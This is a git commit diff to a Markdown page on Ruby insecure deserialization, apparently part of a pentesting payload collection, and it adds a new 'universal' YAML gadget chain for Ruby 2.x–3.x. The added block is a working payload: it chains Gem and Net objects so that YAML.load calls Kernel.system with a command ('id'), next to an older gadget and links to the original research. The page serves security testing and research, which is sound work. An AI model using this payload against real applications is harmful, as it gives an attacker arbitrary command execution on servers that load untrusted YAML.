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Add new ruby yaml gadget chain

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This commit is contained in:
Miłosz Skaza 2022-06-01 09:55:48 +01:00
parent 3066615cde
commit eb933317d0
1 changed files with 27 additions and 2 deletions
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29
Insecure Deserialization/Ruby.md
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@ -16,7 +16,7 @@ require "yaml"
YAML.load(File.read("p.yml"))
```
Exploitation code
Universal gadget for ruby <= 2.7.2:
```ruby
--- !ruby/object:Gem::Requirement
requirements:
@ -29,9 +29,34 @@ requirements:
spec:
```
Universal gadget for ruby 2.x - 3.x.
```ruby
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
```
## References
- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
- [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
- [Universal RCE with Ruby YAML.load (versions > 2.7) - @_staaldraad](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)